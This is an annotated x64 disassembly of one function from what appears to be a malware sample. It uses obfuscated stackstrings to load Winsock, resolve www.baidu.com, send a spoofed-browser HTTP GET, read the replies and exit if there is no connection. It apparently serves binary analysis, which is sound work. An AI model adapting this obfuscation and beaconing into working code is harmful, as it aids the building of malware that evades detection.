Function at 0x140001c70
Capabilities:
Connect socket
Contain obfuscated stackstrings
Convert ip address from string
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket
Terminate process

Disassembly:
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0xde0]
sub rsp, 0xee0
mov rax, qword [0x140028010]
xor rax, rsp
mov qword [rbp + 0xdd0], rax
mov ecx, 0x102
lea rdx, [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_WSAStartup]
lea rcx, [rbp + 0xd0]
mov dword [rbp + 0xd0], 0x5f327357
mov dword [rbp + 0xd4], 0x642e3233
mov word [rbp + 0xd8], 0x6c6c
mov byte [rbp + 0xda], 0
mov dword [rbp + 0xe0], 0x6b636f73
mov word [rbp + 0xe4], 0x7465
mov byte [rbp + 0xe6], 0
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r8d, r8d
mov r14d, 2
mov ecx, r14d
lea edx, [r8 + 1]
call rax
mov rdi, rax
xor eax, eax
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rax
mov word [rsp + 0x20], r14w
lea ecx, [rax + 0x50]
call qword [sym.imp.WS2_32.dll_htons]
lea rcx, [rbp + 0xd0]
mov dword [rbp + 0xf8], 0x2e777777
mov word [rsp + 0x22], ax
mov dword [rbp + 0xfc], 0x64696162
mov dword [rbp + 0x100], 0x6f632e75
mov word [rbp + 0x104], WSACleanup
mov dword [rbp + 0x118], 0x68746567
mov dword [rbp + 0x11c], 0x6274736f
mov dword [rbp + 0x120], 0x6d616e79
mov word [rbp + 0x124], 0x65
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [rbp + 0x118]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rbp + 0xf8]
call rax
mov rsi, rax
test rax, rax
jne 0x140001dd0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rax, qword [rax + 0x18]
xor ecx, ecx
cmp qword [rax], rcx
je 0x140001e0e
mov qword [rsp + 0xef0], rbx
mov ebx, ecx
mov rcx, qword [rax]
mov ecx, dword [rcx]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov rdx, qword [rsi + 0x18]
lea rbx, [rbx + 1]
cmp qword [rdx + rbx*8], 0
mov rcx, rax
lea rax, [rdx + rbx*8]
jne 0x140001de5
mov rbx, qword [rsp + 0xef0]
mov rdx, rcx
lea r8, [rsp + 0x24]
mov ecx, r14d
call qword [sym.imp.WS2_32.dll_inet_pton]
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
js 0x1400020e5
xor edx, edx
lea rcx, [rbp + 0x1d0]
mov r8d, 0x400
call fcn.1400079b0
xor edx, edx
lea rcx, [rbp + 0x5d0]
mov r8d, 0x800
call fcn.1400079b0
lea r8, [rbp + 0xe8]
mov dword [rbp + 0xe8], 0x20544547
mov edx, 0x400
mov word [rbp + 0xec], 0x202f
lea rcx, [rbp + 0x1d0]
mov byte [rbp + 0xee], 0
call fcn.14000895c
lea r8, [rbp + 0x108]
mov dword [rbp + 0x108], 0x50545448
mov edx, 0x400
mov dword [rbp + 0x10c], 0x312e312f
lea rcx, [rbp + 0x1d0]
mov byte [rbp + 0x110], 0
call fcn.14000895c
lea r8, [0x1400240d8]
mov edx, 0x400
lea rcx, [rbp + 0x1d0]
call fcn.14000895c
lea r8, [rbp + 0xf0]
mov dword [rbp + 0xf0], 0x74736f48
mov edx, 0x400
mov word [rbp + 0xf4], 0x203a
lea rcx, [rbp + 0x1d0]
mov byte [rbp + 0xf6], 0
call fcn.14000895c
lea r8, [rbp + 0xf8]
mov edx, 0x400
lea rcx, [rbp + 0x1d0]
call fcn.14000895c
lea r8, [0x1400240d8]
mov edx, 0x400
lea rcx, [rbp + 0x1d0]
call fcn.14000895c
movdqa xmm0, xmmword [0x140024300]
lea r8, [rbp + 0x140]
movdqa xmm1, xmmword [0x1400243d0]
lea rcx, [rbp + 0x1d0]
movdqa xmmword [rbp + 0x140], xmm0
mov edx, 0x400
movdqa xmm0, xmmword [0x140024210]
movdqa xmmword [rbp + 0x150], xmm1
movdqa xmm1, xmmword [0x1400242d0]
movdqa xmmword [rbp + 0x160], xmm0
movdqa xmm0, xmmword [str.t_537.36__KHTML_ssorieswordpad.fari_537.36_Edg__NT_10.0__Win64_GetModuleHandleAGetComputerNameAInternetOpenUrlAC:Users_USER_Xmmc_Authserver_ome_107.0.0.0_SabbbbbbbbbbbbbbbbccccccccccccccccGetCurrentThreadWindows_NTAcceInternetReadFile_x64__AppleWebKic:userspubliGetSidSubAuthoriUser_Agent:_MozikkkkkkkkkkkkkkkkLookupAccountNamInternetCloseHanC:_Recycle.Binnnnnnnnnnnnnnnnnnix.org_static_ohttp:__mail.alcoGetSidIdentifier_like_Gecko__ChrGetCurrentProcesC:Program_FilesConnection:_closlla_5.0__Windowsxxxxxxxxxxxxxxxx_]
movdqa xmmword [rbp + 0x170], xmm1
movdqa xmm1, xmmword [0x140024390]
movdqa xmmword [rbp + 0x180], xmm0
movdqa xmm0, xmmword [0x140024270]
movdqa xmmword [rbp + 0x190], xmm1
movdqa xmm1, xmmword [0x140024200]
movdqa xmmword [rbp + 0x1a0], xmm0
movdqa xmmword [rbp + 0x1b0], xmm1
mov dword [rbp + 0x1c0], 0x2e373031
mov dword [rbp + 0x1c4], 0x34312e30
mov dword [rbp + 0x1c8], 0x342e3831
mov word [rbp + 0x1cc], gethostbyname
call fcn.14000895c
lea r8, [0x1400240d8]
mov edx, 0x400
lea rcx, [rbp + 0x1d0]
call fcn.14000895c
movdqa xmm0, xmmword [0x1400243c0]
lea r8, [rbp + 0x128]
mov edx, 0x400
mov word [rbp + 0x138], 0x65
lea rcx, [rbp + 0x1d0]
movdqu xmmword [rbp + 0x128], xmm0
call fcn.14000895c
lea r8, str._r_n_r_n
mov edx, 0x400
lea rcx, [rbp + 0x1d0]
call fcn.14000895c
lea rcx, [rbp + 0x1d0]
call fcn.140008858
xor r9d, r9d
lea rdx, [rbp + 0x1d0]
mov r8d, 0x400
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
js 0x1400020e5
nop dword [rax + rax]
xor r9d, r9d
lea rdx, [rbp + 0x5d0]
mov r8d, 0x800
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
js 0x1400020e5
jle 0x140002112
lea rcx, [rbp + 0x5d0]
call fcn.140001540
cmp eax, 1
jne 0x1400020d6
xor edx, edx
lea rcx, [rbp + 0x5d0]
mov r8d, 0x800
call fcn.1400079b0
jmp 0x140002090
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
mov rcx, qword [rbp + 0xdd0]
xor rcx, rsp
call fcn.140004730
lea r11, [rsp + 0xee0]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
jmp 0x1400020ea